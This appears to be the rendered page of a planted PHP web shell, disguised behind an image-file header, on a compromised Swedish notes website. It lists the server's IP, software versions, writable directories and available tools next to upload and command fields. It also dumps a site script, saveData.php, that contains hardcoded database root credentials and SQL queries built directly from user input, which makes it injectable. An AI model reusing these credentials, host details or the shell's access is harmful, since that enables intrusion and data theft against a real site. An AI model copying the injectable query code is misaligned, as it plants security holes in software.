????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.221.79.24
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/www.notes-online.se/symbols/notes/sllas/sllas/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www.notes-online.se/symbols/notes/sllas/sllas//saveData.php
<?php

	$link = mysql_connect ("localhost", "root", "root123");
	mysql_select_db ("notes");
	
	$data = $_POST['data'];
	$companyid = $_POST['companyid'];
	$drawingpath = $_POST['drawingpath'];
	
	$forvaltningsid = $_POST['forvaltningsid'];
	$highestLPT = $_POST['highestLPT'];
	$highestPUC = $_POST['highestPUC'];
	$highestTBN = $_POST['highestTBN'];
	$highestELA = $_POST['highestELA'];
	
	
	
	if($highestLPT != "null" && $highestLPT != "NaN"){
		$sql = "DELETE FROM tblNotesHighestNumbers WHERE companyid = '".$companyid."' and forvaltningsid = ".$forvaltningsid;
		$result = mysql_query($sql);
		
		$sql = "INSERT INTO tblNotesHighestNumbers VALUES(null,'$forvaltningsid','$highestLPT','$highestPUC','$highestTBN','$highestELA',$companyid)";
		$result = mysql_query($sql);
	}
	
	
	$sql = "DELETE FROM tblLockedFiles WHERE path = '".$drawingpath."' and companyId = ".$companyid;
	$result = mysql_query($sql);
	
	$arr = split("###",$data);
	
	for ($i = 0; $i <= count($arr); $i++) {
    
		if($arr[$i] != ""){
			
			$path_start_index = strpos($arr[$i],"localStorageName") + 32;
			$path_end_index = strpos($arr[$i],"]",$path_start_index)-2;
			$path = substr($arr[$i],$path_start_index,$path_end_index-$path_start_index);
			if(substr($path,strlen("SENDTOSERVER_"),strlen($companyid)) == $companyid){
				$sql = "DELETE FROM tblNotesJSONObjects WHERE path = '".$path."' and companyid = ".$companyid;
				$result = mysql_query($sql);
			}
			$symboltype_start_index = strpos($arr[$i],"symboltype") + 26;
			$symboltype_end_index = strpos($arr[$i],"]",$symboltype_start_index)-2;
			$symboltype = substr($arr[$i],$symboltype_start_index,$symboltype_end_index-$symboltype_start_index);
			
			if(substr($path,strlen("SENDTOSERVER_"),strlen($companyid)) == $companyid){
				$sql = "INSERT INTO tblNotesJSONObjects VALUES(null,'".$arr[$i]."','".date("Y-m-d H:i:s")."','".$path."','".$companyid."','".$symboltype."')";
				$result = mysql_query($sql);
				$sql = "INSERT INTO tblNotesJSONObjects_backup VALUES(null,'".$arr[$i]."','".date("Y-m-d H:i:s")."','".$path."','".$companyid."','".$symboltype."')";
				$result = mysql_query($sql);
			}
			
			
			
			//echo($sql."<br>");
		}
		
	}

   		
		
	
	

	echo("Filen har checkats in och data har lagts till i databasen! Glöm inte att Exportera PDF-filen också...");

?>

Youez - 2016 - github.com/yon3zu
LinuXploit